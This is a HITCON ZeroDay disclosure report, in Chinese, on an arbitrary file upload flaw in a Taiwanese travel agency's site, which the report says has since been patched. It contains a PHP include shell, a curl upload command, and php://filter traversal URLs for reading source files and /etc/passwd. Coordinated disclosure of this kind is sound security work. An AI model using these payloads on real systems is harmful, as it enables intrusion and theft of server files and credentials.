晴天旅遊 任意檔案上傳導致本地文件存取漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2019-00579
  •  發信 Vendor: 晴天國際旅行社股份有限公司
  • Title: 晴天旅遊 任意檔案上傳導致本地文件存取漏洞
  • Introduction: 因為專案目錄權限未設置好,導致找到可以任意上傳的漏洞,進而可以任意存取本地文件

處理狀態

目前狀態

公開
Last Update : 2019/08/05
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2019/06/18 02:05:18 : 新提交 (由 SomeApple 更新此狀態)
  • 2019/06/18 08:39:22 : 新提交 (由 SomeApple 更新此狀態)
  • 2019/06/18 08:45:41 : 新提交 (由 SomeApple 更新此狀態)
  • 2019/06/18 08:46:05 : 新提交 (由 SomeApple 更新此狀態)
  • 2019/06/18 08:47:08 : 新提交 (由 SomeApple 更新此狀態)
  • 2019/06/18 09:02:23 : 新提交 (由 SomeApple 更新此狀態)
  • 2019/06/18 09:04:58 : 新提交 (由 SomeApple 更新此狀態)
  • 2019/06/18 22:35:37 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/07/01 00:06:56 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/07/01 00:06:56 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/07/03 16:45:15 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/08/01 14:36:51 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/08/01 21:16:51 : 確認已修補 (由 SomeApple 更新此狀態)
  • 2019/08/05 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2019-00579
  • 通報者:jk82421 (SomeApple)
  • 風險:嚴重
  • 類型:任意檔案上傳 (Arbitrary File Upload)

參考資料

攻擊者可上傳任意檔案至該主機,有機會經由上傳之文件取得該主機系統權限。

漏洞說明: OWASP - Unrestricted File Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload

漏洞說明: CWE-434: Unrestricted Upload of File with Dangerous Type
https://cwe.mitre.org/data/definitions/434.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.sundaytour.com.tw/upfiles/
https://www.sundaytour.com.tw/include/php_script/
https://www.sundaytour.com.tw/include/php_script/file_upload/upload.php

敘述

初步資訊搜集

透過 "index of" 的方式找到了此網站目錄並沒有鎖起來
根據不同的目錄結構找到三個重點目錄

  1. https://www.sundaytour.com.tw/upfiles/
  2. https://www.sundaytour.com.tw/include/php_script/
  3. https://www.sundaytour.com.tw/include/php_script/file_upload/upload.php

重現漏洞

首先透過對此 URL: https://www.sundaytour.com.tw/include/php_script/file_upload/upload.php 進行 POST 後
發現在 https://www.sundaytour.com.tw/upfiles/ 的數量會開始增加,於是發現 POST 後的東西成功被丟到上面

撰寫 exploit code

<?php
    $file = $_GET['file'];
    include $file;
?>

並使用 form-data 的方式上傳上去,並讓檔案名稱為 .php 結尾 (/Users/some-body/Desktop/test.php 為虛構檔案路徑)

curl -X POST \
  https://www.sundaytour.com.tw/include/php_script/file_upload/upload.php \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW' \
  -F [email protected]/Users/some-body/Desktop/test.php \
  -F name=test.php

然後使用 php://filter/read=convert.base64-encode/resource 的方式可以成功讀取任一檔案
以下為讀取 mysql.php 的完整 URL
https://www.sundaytour.com.tw/upfiles/test_2.php?file=php://filter/read=convert.base64-encode/resource=../include/php_script/sql/Mysql_class.php

會得到 base64 的編碼
圖片

再透過 decode 的方式可以拿到檔案的源碼
圖片

進一步就可以看到每個 sql 的寫法, 以 https://www.sundaytour.com.tw/upfiles/test_2.php?file=php://filter/read=convert.base64-encode/resource=../include/php_script/user_class.php 為例子,可以看到會有 SQL Injection 的問題
圖片

接下來就可以根據不同系統去讀取不同檔案,以 /etc/passwd 為例子
https://www.sundaytour.com.tw/upfiles/test_2.php?file=php://filter/read=convert.base64-encode/resource=../../../../../../etc/passwd
圖片

修補建議

建議一
請把檔案目錄給鎖起來,不要讓任何人都可以存取到所有結構

建議二
請針對操作進行權限控管,不讓任何人都可以使用任意功能

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;